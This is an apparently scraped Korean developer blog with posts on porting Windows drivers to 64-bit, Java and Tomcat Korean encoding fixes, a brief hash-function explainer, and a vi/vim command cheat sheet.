전에 설명했던 것과 같이, 64비트 윈도우는 파라미터로 패싱된 포인터를 32비트에서 64비트로 자동 변환한다. 그러나, 전달된 드라이버의 자료구조의 데이터 버퍼 안에 포인터가 존재한다면 어떻게 다뤄야 하는가?

그러한 예는 다음과 같다.

typedef struct _myBuffer {

ULONG Count ;

PUCHAR SecondaryBuffer ;

ULONG SecondaryBufferSize ;

UCHAR Buffer[BUF_SIZE] ;

} MY_BUFFER, *PMY_BUFFER ;

 

32비트 어플리케이션에서 다음과 같은 코드로 작성하였다.

MY_BUFFER buf ;

buf.Count = CharPassed ;

StringCchCopy(buf.Buffer, BUF_SIZE, DataSource, buf.Count) ;

buf.SecondaryBufferSize = OtherBufferSize ;

buf.SecondaryBuffer = PointerToOtherBuffer ;

worked = DeviceIOControl(hDev,

IOCTL_MYDRV_SEND_BUFFER, &buf,

sizeof(MY_BUFFER), NULL, 0,

&byteReturned, NULL) ;

64비트로 포팅하려면 어떻게 해야될 것이다.

 

+ 방법 1

&buf는 자동으로 64비트로 자동으로 인식될 것이다. (thunk buf 포인터 자동 변환)

그러나, 윈도우는 호출자의 IN_BUFFER안에 포인터가 포함되어 있는 줄 모른다.

(SecondaryBuffer) 32비트 또는 64비트 어플리케이션에서 같은 IOCTL을 보낼 때, 버퍼의 적절한 길이와 포인터의 사이즈가 변한다.

어떻게 해결할까? -> 포인터를 없앤다.

typedef struct _myNEWBuffer {

ULONG Count ;

UCHAR Buffer[BUF_SIZE] ;

} MY_NEW_BUFFER, *PMY_NEW_BUFFER ;

secondary buffer는 OUT_BUFFER 파라미터를 이용하여 다음과 같이 할 수 있다.

MY_NEW_BUFFER buf ;

buf.Count = CharsPassed ;

StringCchCopy(buf.Buffer, BUF_SIZE, DataSource, buf.Count) ;

worked = DeviceIOControl(hDev,

IOCTL_MYDRV_SEND_BUFFER, &buf,

sizeof(MY_BUFFER), PointerToOtherBuffer,

OtherBufferSize, &byteReturned, NULL) ;

소스코드와 자료구조가 깨끗해졌다.

위의 방식은 32비트 어플리케이션이 32비트, 64비트 OS 모두 사용할 수 있다. (단, 어떠한 경우라도 드라이버는 32, 64비트용으로 각 각 만들어야 한다.)

 

물론 이러한 방법은 이런 IOCTL 코드를 쓰는 모든 어플리케이션에서 IOCTL 포맷을 새롭게 바꾸고, 모두 다시 컴파일해야 하는 단점이 있다.

 

+ 방법 2

OUT_BUFFER를 사용하지 않고, IN_BUFFER 내에 포인터를 포함시킬 수 있는 방법이다.

 

A 구조체

// Structure version used by all app (and for 64-bit app in Driver)

typedef struct _myBuffer {

ULONG Count ;

PUCHAR SecondaryBuffer ;

ULONG SecondaryBufferSize ;

UCHAR Buffer[BUF_SIZE] ;

} MY_BUFFER, *PMY_BUFFER ;

B 구조체

// Structure version used exclusively by driver when

// getting data from 32-bit apps.

typedef struct _myBuffer_32 {

ULONG Count ;

PUCHAR POINTER_32 SecondaryBuffer ;

ULONG SecondaryBufferSize ;

UCHAR Buffer[BUF_SIZE] ;

} MY_BUFFER_32, *PMY_BUFFER_32 ;

A 구조체는 원본(포팅 전)과 같다.

SecondaryBuffer 포인터가 구조체 내부에 숨겨진 형태로 32비트 어플리케이션에서는 OS에 관계없이 32비트, 64비트 어플리케이션은 64비트 포인터로 인식이 된다. 따라서 32비트용 어플리케이션과 32비트용 드라이버로 컴파일 하고, 64비트용 어플리케이션과 64비트용 드라이버로 컴파일하여 따로 사용할 수 있다.

따라서 운영체제의 커널 비트에 따른 어플리케이션이 별도로 존재해야 하는 단점이 있다.

 

B 구조체는 64비트 윈도우를 위해 만들어진 구조체로써 드라이버가 사용할 것이다. 그러나 32비트 어플리케이션과도 호환된다. 드라이버에서는 호출자가 32비트 어플리케이션 인지 64비트인지를 IoIs32bitProcess()를 통해 확인하여 결정한다.

case IOCTL_MYDRV_SEND_BUFFER:

#ifdef _WIN64

// if it's a 32-bit caller, we validate the size of the 32-bit structure

if (IoIs32bitProcess(Irp))

{

if (ios->Parameters.DeviceIoControl.InputBufferLength >= sizeof(MY_BUFFER_32) )

{..... }

} else

#endif

{

if (ios->Parameters.DeviceIOControl.InputBufferLength

>= sizeof(MY_BUFFER) )

{....}

}

이러한 방식은 32비트 어플리케이션을 위한 구조체를 따로 둠으로써, 64비트 드라이버에서 32, 64비트 어플리케이션을 모두 사용 가능하도록 한다. 그러나 구조체를 각각 관리해야하고, 드라이버에서 32비트를 포인터를 위한 처리를 따로 해 주어야 하는 단점이 있다.

 

3. Inline Assembler, etc...

 

여기서 별도로 다루지는 않겠다. 보다 자세한 정보를 원한다면, Hector가 쓴 OSR Online back in June. 기사를 보면 알 수 있을 것이다.

https://www.osronline.com/article.cfm?id=244

AMD64 컴파일러는 inline assembler code를 지원하지 않는다!!!

또한 윈도우 64비트의 커널모드에서는 MMX, 3DNow, X87 floating point를 지원하지 않는다. !!!

 

 

4. New 3 Class Data Types

 

64비트 프로그래밍을 위해 다음의 세가지 클래스 데이터 타입이 추가되었다.

 

+ Fixed Precision ; 데이터 타입의 사이즈가 고정 길이

DWORD32, DWORD64, INT32, INT64, LONG32, LONG64, UINT32, UINT64, ULONG32, ULONG64

 

+ Pointer Precision ; 포인터 연산을 할 때 사용하면 좋다. 32비트 또는 64비트 윈도우즈에 따라 사이즈가 바뀐다.

DWORD_PTR, HALF_PTR (포인터의 반 크기), INT_PTR, LONG_PTR, SIZE_T, SSIZE_T, UHALF_PTR, UINT_PTR, UINT_PTR, ULONG_PTR

 

+ Specific Pointer-Precision Types

포인터의 사이즈를 명시적으로 선언한다.

POINTER_32 ; 32비트 포인터. 32비트 윈도우에서는 native pointer이지만 64비트에서는 64비트 포인터를 반으로 자른 것이다.

POINTER_64 ; 64비트 포인터. 64비트 윈도우에서는 native pointer이다. 32비트에서는 32비트 포인터를 64비트로 확장시킨 것 임.

 

 

5. Helper Functions (basetsd.h)

 

+ Predefined Macro

_WIN64 ; 64비트 플랫폼

_WIN32 ; 32비트 플랫폼

_WIN16 ; 16비트 플랫폼

 

_M_IA64 ; 64비트 인텔 플랫폼

_M_IX86 ; 32비트 인텔 플랫폼

 

가능하면 위에 있는 _WIN64, _WIN32를 사용하고, 아키텍쳐와 관련된 것을 제외하고는 _M_IA64, _M_IX86 매크로를 쓰지 마라.

 

아래의 API들은 64비트 프로그래밍시 데이터 타입 형 변환에 도움을 준다. 그러나, 꼭 필요한 경우에만 사용해야 한다. 그렇지 않으면 컴파일시 경고나, 에러가 발생하지 않기 때문에 디버깅이 어려워질 수도 있다.

 

unsigned long HandleToUlong( const void *h )

long HandleToLong( const void *h )

void *LongToHandle( const long h )

unsigned long PtrToUlong( const void *p )

unsigned int PtrToUint( const void *p )

unsigned short PtrToUshort( const void *p )

long PtrToLong( const void *p )

int PtrToInt( const void *p )

short PtrToShort( const void *p )

void * IntToPtr( const int i )

void * UIntToPtr( const unsigned int ui )

void * LongToPtr( const long l )

void * ULongToPtr( const unsigned long ul )

 

 

6. 64비트 포인터 사용 규칙

 

- int, long, ULONG, DWORD로 포인터를 타입 캐스팅하면 안 된다.

이 경우 ULONG_PTR 타입을 사용한다.

HANDLE은 void*로 정의되어 있다. 따라서 ULONG으로 캐스팅하면 안 될 것이다.

 

- 필요한 경우 PtrToLong, PtrToUlong을 사용하여 포인터를 truncate시켜라. (helper function)

포인터를 32비트 값으로 자를 때 사용한다.(상위 32비트가 날라간다.) 편하지만 경고가 발생하지 않기 때문에, 디버깅하기가 어려우므로 조심히 사용해야한다.

 

- OUT 파라미터로 사용 시 주의해야 한다.

void func(OUT PULONG *PointerToUlong) ; 이런 함수가 있다고 가정하고...

ULONG ul ;

PULONG lp ;

func((PULONG *)&ul) ;

lp = (PULONG) ul ;

위와 같이 사용하는 경우, func의 두 번째 파라미터는 이중 포인터 타입이다. 64비트인 경우, *PointerToUlong (PULONG)도 64비트이므로 ul (ULONG)과는 사이즈가 다르다.

 

위의 코드를 아래와 같이 수정해야 한다.

PULONG lp ;

func(&lp) ;

- 다중 인터페이스를 조심해야 한다.

(polymorphic interfaces)

다양한 파라미터를 받기 위해 주소 값 또는 정수 등의 값을 DWORD 파라미터를 사용하였다면, UINT_PTR이나 PVOID로 바꿔라.

 

- 새로운 윈도우 클래스 함수를 사용하라.

GetClassLongPtr, GetWindowLongPtr,

SetClassLongPtr, SetWindowLongPtr

GWL_* 대신 GWLP_*를 사용하라.

(winuser.h)

SetWindowLong(hWnd, GWL_WNDPROC,

(LONG)MyWndProc) ;

위의 코드를 다음과 같이 수정하라.

SetWindowLongPtr(hWnd, GWLP_WNDPROC,

(LONG_PTR)MyWndProc) ;

- 모든 윈도우와 클래스 데이터에 접근시 FIELD_OFFSET을 사용하라.

두 번째 포인터가 항상 옵셋 4라고 생각하지 마라. 32비트에서만 유효하다.

 

- LPARAM, WPARAM, LRESULT 타입은 플랫폼에 따라 사이즈가 변하므로 주의해야 한다.

 

7. 기타 정보

 

- 64비트 어플리케이션은 유저 모드 주소 영역이 8테라 바이트이다. 그러나, 다음과 같은 조건의 프로그램은 유저 모드 주소를 2기가 이하에서만 작동하게 할 수 있다.

> 2기가 주소 영역이면 충분하다.

> 많은 pointer truncation 경고가 많다.

> 포인터와 정수형이 마구 섞여 쓰고 있다.

> 32비트 데이터 타입을 쓰는 polymorphism이 코드에 있다.

이러한 경우 아래와 같은 링커 옵션을 준다.

/LARGEADDRESSAWARE:NO

조심할 점은 DLL을 이 옵션으로 만들었다면, 이 DLL을 사용하는 모든 프로그램도 같은 옵션으로 만들어져야만 된다. (이 DLL이 주소를 32비트로 자르기 때문이다.)

 

- Process interoperability

 

64비트 윈도우에서 32비트 어플리케이션을 에뮬레이션 모드에서 돌릴 수 있다. 그러나, 64비트 프로세스는 32비트 DLL을 로드할 수 없다. 그 반대도 마찬가지다.

64비트와 32비트 프로세스 사이의 RPC 통신이 COM 서버를 이용하는 방법이 있긴 하다.

 

- Driver

드라이버를 64비트로 포팅할 경우 다음의 사항을 고려해야 한다.

> 4G 이상을 지원하고 싶다면, Mm64BitPh ysicalAddresses를 사용하여 64비트 주소가 필요한 경우 사용한다. 또한 DEVICE_DESCRIPTI ON 구조체의 Dma64BitAddresses 멤버를 설정하여 64비트 어드레싱을 할 수 있다.

> IO status block은 ULONG_PTR이다.

> IRP stack location은 ULONG_PTR이다.

 

 

- 64비트 프로그래밍 경고 및 에러

warning C4311: 'type cast' : pointer truncation from 'unsigned char *' to 'unsigned long' -> 이러한 에러는 다음과 같은 예에서 발생한다.

buffer = (PUCHAR)srbControl;

(ULONG)buffer += srbControl->HeaderLength;

위의 코드를 아래처럼 수정하라.

buffer = (PUCHAR)srbControl;

(ULONG_PTR)buffer += srbControl->HeaderLength;

- 64-bit Compiler Switches and Warnings

 

컴파일러가 LLP64 데이터 모델인 경우

LLP64로 포팅하는데 -Wp64 -W3 경고 옵션이 도움을 줄 것이다.

C4305: Truncation warning. For example, "return": truncation from "unsigned int64" to "long."

C4311: Truncation warning. For example, "type cast": pointer truncation from "int*_ptr64" to "int"

C4312: Conversion to bigger-size warning. For example, "type cast": conversion from "int" to "int*_ptr64" of greater size.

C4318: Passing zero length. For example, passing constant zero as the length to the memset function.

C4319: Not operator. For example, "~": zero extending "unsigned long" to "unsigned _int64" of greater size.

C4313: Calling the printf family of functions with conflicting conversion type specifiers and arguments. For example, "printf": "%p" in format string conflicts with argument 2 of type "_int64." Another example is the call printf("%x", pointer_value); this causes a truncation of the upper 32 bits. The correct call is printf("%p", pointer_value).

C4244: Same as the existing warning C4242. For example, "return": conversion from "_int64" to "unsigned int," possible loss of data.

 

 V. 결론

이로써 32비트 어플리케이션 및 드라이버를 64비트로 포팅하는데 있어서 주의해야 될 사항들과 어떻게 포팅해야 할 지에 대한 소스코드 예를 몇 가지 살펴보았다.

크게는 별로 변한 게 없는 듯(포인터 사이즈 하나가 변했다고) 하지만, 실제 소스 레벨로 가서 보면 발생할 수 있는 제 2, 제 3의 문제가 연쇄적으로 발생할 수 있음을 알 수 있다. 다른 프로그램과의 통신, 구조체의 사이즈 변형, 포인터 연산, Alignment 등 생각할 것도 많고, 소스코드를 32비트, 64비트 머신 모두에게 돌아갈 수 있도록 유지할 수 있게 고뇌해야할 것이다.



참 고

 

 

1. Rock On With 64-bit Windows -- Porting Windows Drivers To AMD64 ;

http://www.osronline.com/article.cfm?id=265

 

2. Platform SDK: 64-bit Windows Programming

http://www.msdn.microsoft.com/library/default.asp?url=/library/en-us/win64/win64/changing_an_existing_interface.asp

 

 

반응형


인코딩 변경을 하려고 보통 이렇게 하는데 이것은 잘못된 결과를 발생시킨다.

String strutf8 = new String(str.getBytes("utf-8"), "euc-kr") ;

getBytes는 지정된 charset의 byte array로 변환하는 것이고, String() constructor에서는 입력받은 데이터를 지정한 charset으로 인식하여 스트링을 만들겠다는 것이다. 즉, 원하는대로 charset 변경이 안 이루어진다.!!!!


타 시스템에서 다른 인코딩(euc-kr)을 사용하고 있는데 연동을 해야하는 일이 있었다. 부득이하게 charset 변경을 해야해서 바이너리값을 찍어서 직접 비교해봤다.

아래는 테스트 결과 성공.


+ UTF-8 -> euc-kr

//이클립스 환경설정의 인코딩 스타일이 UTF-8로 지정된 경우.
String utfstr = “한글인코딩" ;

Charset utf8charset = Charset.forName(
"UTF-8");
Charset iso88591charset = Charset.forName("euc-kr");
ByteBuffer inputBuffer = ByteBuffer.wrap(utfstr.getBytes());

// decode UTF-8
CharBuffer data = utf8charset.decode(inputBuffer);
// encode ISO-8559-1
ByteBuffer outputBuffer = iso88591charset.encode(data);
byte[] outputData = outputBuffer.array();

System.out.println("euckr?="+bytesToHex(outputData));

<끝>

final protected static char[] hexArray = "0123456789ABCDEF".toCharArray();
public static String bytesToHex(byte[] bytes) {
   
 char[] hexChars = new char[bytes.length * 2];
   
 for ( int j = 0; j < bytes.length; j++ ) {
       
 int v = bytes[j] & 0xFF;
        hexChars[j * 2] =
 hexArray[v >>> 4];
        hexChars[j * 2 + 1] =
 hexArray[v & 0x0F];
    }
   
 return new String(hexChars);
}



반응형

JAVA 기반 WAS 개발시에 한글이 종종 깨지는 경우가 많다. 이런 경우 해결하기 위해 상당한 시간이 소요될 수 있다. 한글이 깨지는 원인이 여러 가지 있을 수 있어서 설정하는 부분도 여러군데이다. 

UTF-8 인코딩 방식을 기준으로 나름대로 정리. 


+ 한글이 깨질때...


1. 이클립스에서 소스(html, jsp, java 등) 저장시 인코딩 포맷을 UTF-8로 설정한다.

2. 받은 스트링을 byte []로 변환시 인코딩을 지정하지 않으면, 시스템 디폴트 인코딩으로 되어서 깨질 수 있다.

String str="한글테스트"; 
byte[] buf = str.getBytes() ;
byte[] buf2 = str.getBytes("UTF-8") ; // 이렇게 한다. ; UNICODE 스트링을 해당 타입으로 인코딩해 준다.

String str2 = new String(buf2, "UTF-8") ;     // 이렇게 받는다. UTF-8 형식으로 알고, 디코딩하라는 의미. (인코딩(변환)하는게 아님)

3. tomcat 서버 설정 (GET방식 안쓰면 안 해도 됨)
HTTP body의 입력 스트림은 기본으로 UTF-8을 이용하여 디코딩한다. 그러나, URL은 ISO-8859-1로 디코딩한다.
브라우저에서 폼 데이터는 기본적으로 UTF-8로 인코딩하므로 POST 전송해도 문제가 없는 것이다. 그러나, GET 방식이면 당연히 문제가 생긴다. 이를 한 번에 해결하려면 아래와 같이 URL 인코딩 방식을 변경해주면 가능하다.

server.xml에서 사용하는 포트 8080, 8443 등 Connector 부분에 URIEncoding을 지정한다.
<Connector port="8080" ... URIEncoding="UTF-8" />

아파치와 연결하기 위해 mod_jk를 사용한다면 아래와 같이 한다.
<Connector port="8009" protocol="AJP/1.3" URIEncoding="UTF-8" />

JSP상에서는 아래와 같이 사용하면 된다.
<a href="show.html?param= <%=java.net.URLEncoder("한글테스트", "UTF-8")%>"> link </a>

4. java에서 데이터 받는 부분 인코딩 설정을 한다.
doPost(HttpServletRequest request, ...) {
request.setCharacterEncoding("UTF-8") ;     // 한글 수신을 제대로 하기 위함. 이후 request 데이터 변수 사용.
}

응답시에는 
response.setContentType("application/json; charset=utf-8") ;
주의사항!!!! (강조!!!)
반드시 PrintWriter out = response.getWriter(); 전에 위의 설정을 해 줘야 한다. 순서가 바뀌면  동작하지 않는다... 

-JSP에서는 다음과 같이한다.
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>


5. jdbc & mysql ; DB에 들어갈 때 깨지면 다음을 확인한다.

-java에서 mysql 접속시, 인코딩 방식 지정.
String url="jdbc:mysql://localhost:3306/dbname?useUnicode=true&characterEncoding=UTF-8";
Connection con = DriverManager.getConnection(url, "id", "password") ;

-mysql에서 테이블 생성시 인코딩 지정.
CREATE TABLE tablename (
col VARCHAR(100)
) DEFAULT CHARSET=utf8 ;

또는
CREATE TABLE ...
()  COLLATE='utf8_general_ci'

ENGINE=InnoDB
AUTO_INCREMENT=40;


6. ajax에서 한글설정
        var jsonData1 = JSON.stringify ({
              CMDID: "LIST",
              logonid : logonid }) ;
       $.ajax( {
              url: "/servicetest/apitest",
              type: "POST",
              data : jsonData1,
              contentType : "application/json; charset=UTF-8" ,
              dataType : 'json',
              success : function(data) ...
           });

7. 시스템 (OS) 환경의 언어세팅 문제일 수 도 있다. (중요!)
톰캣을 실행할 때, 환경 변수의 설정 상태가 중요하다!.
profile에 LANG=ko_KR.eucKR
또는 톰캣 구동 스크립트 (catalina.sh 등)에 추가.



'Develop > Java' 카테고리의 다른 글

CentOS, tomcat 타임존 문제  (2) 2018.03.06
tomcat 외부라이브러리 경로 설정 및 톰캣 튜닝  (0) 2018.03.06
jqGrid(2) row(줄) 색상 변경/값 변경  (0) 2016.01.22
jqGrid (1)  (0) 2016.01.19
한글 인코딩 UTF8  (0) 2015.06.02
반응형


+해시(Hash) 란?

임의 길이의 데이터를 고정된 길이의 데이터로 변환하는 알고리즘으로 같은 입력데이터는 항상 같은 Hash 값이 생성되며, 입력 데이터의 일부가 조금이라도 변경되는 출력되는 Hash값이 변경되는 특성을 갖는 알고리즘이다.

Hash의 특정으로는 출력된 Hash값으로부터 역으로 원본 입력 데이터의 추출이 불가능하다. 

따라서 패스워드 같은 데이터를 DB에 저장할 때 많이 사용되며, 파일이나 데이터의 무결성 검증을 위해 많이 사용된다. 

-PWD 입력 => Hash(PWD) => DB에 저장된 해시값 비교

-Hash( file data ) => 해당 파일의 무결성값 


+Hash 알고리즘은 종류

MD5 ; 128비트 (16바이트) 생성

SHA1 ; 160비트 (20바이트) 생성

SHA는 생성되는 비트수에 따라 SHA-128, SHA-256, SHA-512 등이 있다.


+ 기타

MD5는 깨진 알고리즘으로 요즘에는 보안상 거의 쓰이지 않는다. 

깨졌다는 것은 출력된 Hash값으로 부터 원본입력 데이터를 복원했다는 것은 아니지만, 출력된 Hash값을 만드는 입력 데이터군을 찾을 수 있다는 의미이다.

즉, 패스워드를 MD5로 저장하여 사용하는 시스템에서 해시값이 유출되었을때,  MD5 값이 같게되는 다른 입력값을 찾을 수 있어서 패스워드 대신 입력해도 MD5 해시값은 일치하기 때문에 패스워드 인증이 통과되는 결과가 나올 수 있다.




반응형
  • vi 시작
    vi filename ; 파일열기, 작성
    vi +10 filename ; 파일 열고 n행으로 이동
    vi +/"hello" filename ; 파일 열고 hello 문자열로 이동
    vi -r filename ; 손상된 파일 복구
    view filename ; 읽기 전용 모드로 파일 열기
    !vi ; 마지막으로 vi 실행했던 커맨드 다시 실행하기
    vi f\[TAB\] ; f로 시작하는 파일명을 선택하기.  \[TAB\]을 더 누르면 f로 시작하는 파일명들을 모두 보여줌.

    * ^M 문자 없애기 (DOS 포맷 텍스트파일을 linux에서 열 때 발생)
    :%s/컨트롤+V누르고 M 또는 엔터//g
    (가끔 터미널에 따라 안될 수도 있음.(단축키가 대신 먹을 때도 있음). 그 경우에는 키 입력을 컨트롤+V누르고 엔터키를 눌러서 대체할 수 있음.)
  • VI (ESC 키 누른 이 후에 커맨드 모드)
    i 현재위치에서 삽입  
    I 현재줄의 처음 위치에서 삽입  
    a 현재 위치에서 추가  
    A 현재줄의 끝 에서 추가  
    o 새로운 한 줄을 커서 아래줄에 연다.  
    O 새로운 한 줄을 커서 위줄에 연다.  
    S 줄을 지우고 삽입모드로  
    R 현재 위치에서 Relpace 모드로  
    J 다음줄과 현재줄을 합친다.  
    ~ 대문자<->소문자  
    . 마지막 명령을 반복한다  
    u (<-> CTRL-R) 마지막 수정한 것을 취소한다.  
    U 줄을 처음 상태로 복구한다.  


-edit-  
cw 한 단어  
2cw or c2w 두 단어  
cc 한 행  
c$ or C 커서 위치에서 행의 끝까지  
cO 커서 위치에서 행의 처음까지  
r 한 문자 변경

-delete-  
dw 한 단어  
2dw or d2w 두 단어  
dd 한 행  
d$ or D 커서 위치에서 행의 끝까지  
dO 커서 위치에서 행의 처음까지  
x (del) or X(bs) 한 문자 삭제

- yanking, copy -  
yw 한 단어  
2yw or y2w 두 단어  
yy 한 행 복사 to clipboard  
3yy ; 세줄 복사 (앞에 복사할 수만큼입력)

y$ or Y 커서 위치에서 행의 끝까지 !!!!  
yO 커서 위치에서 행의 처음까지  
y1 or yh 한 문자 변경  
p ; paste 붙여넣기 (현재 줄 아래에 )  
P ; 현재 커서 윗줄로 삽입

- 커서 이동 - 
h, j, k, l 좌, 하, 상, 우  
\+ or \[enter\] 다음줄의 첫번째 문자로  
\- 이전줄의 첫번째 문자로  
e, E 단어의 끝으로  
w, W 다음 단어로  
b, B 이전 단어로  
$ 행의 끝으로  
0 행의 처음으로 ( 'A' 인 경우 A앞으로 커서이동)  
^ 행의 처음으로 ( 'A' 인 경우에도 맨앞으로 커서이동)  
), ( 다음, 이전 문장의 처음으로  
}, { 다음, 이전문단의 처음으로  
\]\], \[\[ 다음, 이전 구절의 처음으로

^F 한 화면 앞으로 스크롤 (means CTRL-F)  
^B 한 화면 뒤로 스크롤  
^D 반 화면 앞으로 스크롤  
^U 반 화면 뒤로 스크롤  
^E 한 줄 앞으로 스크롤  
^Y 한 줄 뒤로 스크롤  
H 화면의 맨 위줄로 ( nH인 경우 맨 위에서 n행 밑으로 )  
M 화면의 중간 줄로  
L 화면의 맨 아래줄로 ( nL인 경우 맨 밑에서 n행 위로 )

- 검색, 이동 -

/pattern 문자열의 처음에서 앞으로 검색  
?pattern 문자열의 처음에서 뒤로 검색  
n 검색을 다시 반복 (같은 방향)  
N 검색을 다시 반복 (반대 방향)  
fx 현재 줄에서 x가 있는 곳으로 이동 (앞으로)  
Fx 현재 줄에서 x가 있는 곳으로 이동 (역방향)  
tx n행 밑에서 x가 있는 곳으로 이동  
Tx n행 위에서 x가 있는 곳으로 이동  
; 줄에서 찾기를 같은 방향으로 반복  
, 줄에서 찾기를 반대 방향으로 반복  
nG, :n 행 이동 n번째 줄로 이동 (n이 생략되면 마지막줄로) --변환자 주: 이  
기능은 :n 으로 하는것이 편합니다 :)  
G : 마지막 줄로 이동  
nl 열 이동 (n이 생략되면 처음 열로)  
\* 현재 커서가 위치한 단어 찾기 (앞방향)  
\# 현재 커서가 위치한 단어 찾기 (역방향)

mx 현재 위치를 x 이름의 마크로 저장  
\`x 마크한 위치(행, 열)로 이동  
'x 마크한 줄로 이동  
\`\` 이전에 마크한 위치로 이동  
'' 이전에 마크한 줄로 이동

\+ c 코드 분석기
  • vi 기타 커맨드
블록 지정 하여 복사  
    v , 커서 이동 하면 문자 단위 블록 지정. y하면 복사 or x하면 잘라내기. 붙이기는 p. 삭제는 d  
    대문자 V, 커서 이동 하면 라인 단위 블록 지정.

{, } 문자에서 %를 누르면 {} 단위를 모두 선택함.  
^V ; 사각형 형태의 블록 지정  
(windows gvim에서는 ^Q 임.)

+ 쉘로 나갔다가 돌아오기.  
^z 로 나가서 fg 커맨드로 돌아올 수 있다.  
\+ 여러 창으로 작업하기 (screen 유틸)  
screen에서는 C-a S 로 창을 쪼개고  
C-a 으로 창 전환.  
C-a c로 쪼개진 창에 쉘 띄운다.

-- 기타 커맨드

:set nu = set number ; 라인 넘버 보이기  
:q ; 종료  
:qa! ; 강제 종료  
:ZZ ; 저장 후 종료.

--gui에서 beep음 끄기  
:xset b off

-cui에서 끄기  
setterm -blength 0  
setterm -bfreq 10 (작은 소리로 변경)

-- copy & paste  
[숫자]+yy -> p or P or shift+insert

-- delete  
[숫자]+dd ; 행 삭제  
[숫자]+x ; 문자 삭제

-- 반복  
. ; 방금한 것을 반복

-- edit 모드

I ; 현재 첫부분에 편집  
i ; 현재 위치에서 편집  
O ; 윗줄삽입  
o ; 아랫줄 삽입

--검색  
/[검색문자열]

-- 이동  
^+F ; (아래로)  
^+B ; (상위)

-특정 라인으로 이동  
[라인번호]G  
$는 마지막을 의미.

-첫라인으로 이동 ; 1G, 또는 gg  
-마지막라인으로 이동 ; $g 또는 G  
-undo = u  
-redo = ^+r

-- replace ; subsitute  
:%s/[검색어]/[변경어]/g  
:[시작행],[끝행]s/[검색어]/[변경어]/g

-- 예제  
ex) , 를 엔터로 변경  
:%s/,/[변경값]/g  
변경값에 Ctrl+V+Enter 입력 ==> ^M으로 보임. (터미널 클라이언트에 따라 안될 수도 있음. (그럴 경우, ^+V+M 으로 입력?))

ex) 특정 단어가 있는 줄 지우기  
:g/[검색단어]/d

-   여러 문서 편집  
    :args (확인)  
    :n (다음)  
    :3n (3개 스킵 다음)  
    :N (이전)  
    :prev
-   현재 라인에서 특정단어 앞까지 삭제  
    d/\[특정단어\]

:= 현재 행번호 출력

> > 들여쓰기 (tab 추가) ^t(삽입모드시)  
> > << 당겨 쓰기 ^d(삽입모드시)

-   빈 라인 삭제  
    :g/^$/d  
    :%s/^\n//g

-   VIM에서 del, bs 키 입력 설정  
    .vimrc 에 t_kb, t_kD 를 입력하기 위해서 아래와 같이 하면 된다.  
    set t_kb=^H  
    set t_kD=^?  
    [ctrl] + [v],[h] : ^H 가 입력됨  
    [ctrl] + [v],[backspace] : ^? 가 입력됨
  • .exrc 예제

set nu
set autoindent 
set cindent 
set showmatch 
set ts=4
  • 홈디렉터리에 .vimrc 예제

set nocompatible " 오리지날 VI와 호환하지 않음  
set autoindent " 자동 들여쓰기  
set cindent " C 프로그래밍용 자동 들여쓰기  
set smartindent " 스마트한 들여쓰기  
set wrap  
set nowrapscan " 검색할 때 문서의 끝에서 처음으로 안돌아감  
set nobackup " 백업 파일을 안만듬  
set visualbell " 키를 잘못눌렀을 때 화면 프레시  
set ruler " 화면 우측 하단에 현재 커서의 위치(줄,칸) 표시  
set shiftwidth=4 " 자동 들여쓰기 4칸  
set number " 행번호 표시, set nu 도 가능  
set fencs=ucs-bom,utf-8,euc-kr.latin1 " 한글 파일은 euc-kr로, 유니코드는 유니코드로  
set fileencoding=utf-8 " 파일저장인코딩  
set tenc=utf-8 " 터미널 인코딩  
set expandtab " 탭대신 스페이스  
set hlsearch " 검색어 강조, set hls 도 가능  
set ignorecase " 검색시 대소문자 무시, set ic 도 가능  
set tabstop=4 " 탭을 4칸으로  
set lbr  
set incsearch " 키워드 입력시 점진적 검색  
syntax on " 구문강조 사용  
filetype indent on " 파일 종류에 따른 구문강조  
set background=dark " 하이라이팅 lihgt / dark  
colorscheme desert " vi 색상 테마 설정  
set backspace=eol,start,indent " 줄의 끝, 시작, 들여쓰기에서 백스페이스시 이전줄로  
set history=1000 " vi 편집기록 기억갯수 .viminfo에 기록

'Develop > Linux_Unix' 카테고리의 다른 글

[도커] tomcat, mariadb 환경 war hang/slow  (0) 2021.04.28
Bash Tip 작업속도를 빠르게  (0) 2021.03.03
리눅스 백그라운드 실행(터미널종료에도)  (1) 2021.02.23
Git 사용법_요약  (0) 2019.12.16
Ubuntu18/tomcat8 setup  (0) 2019.11.08

+ Recent posts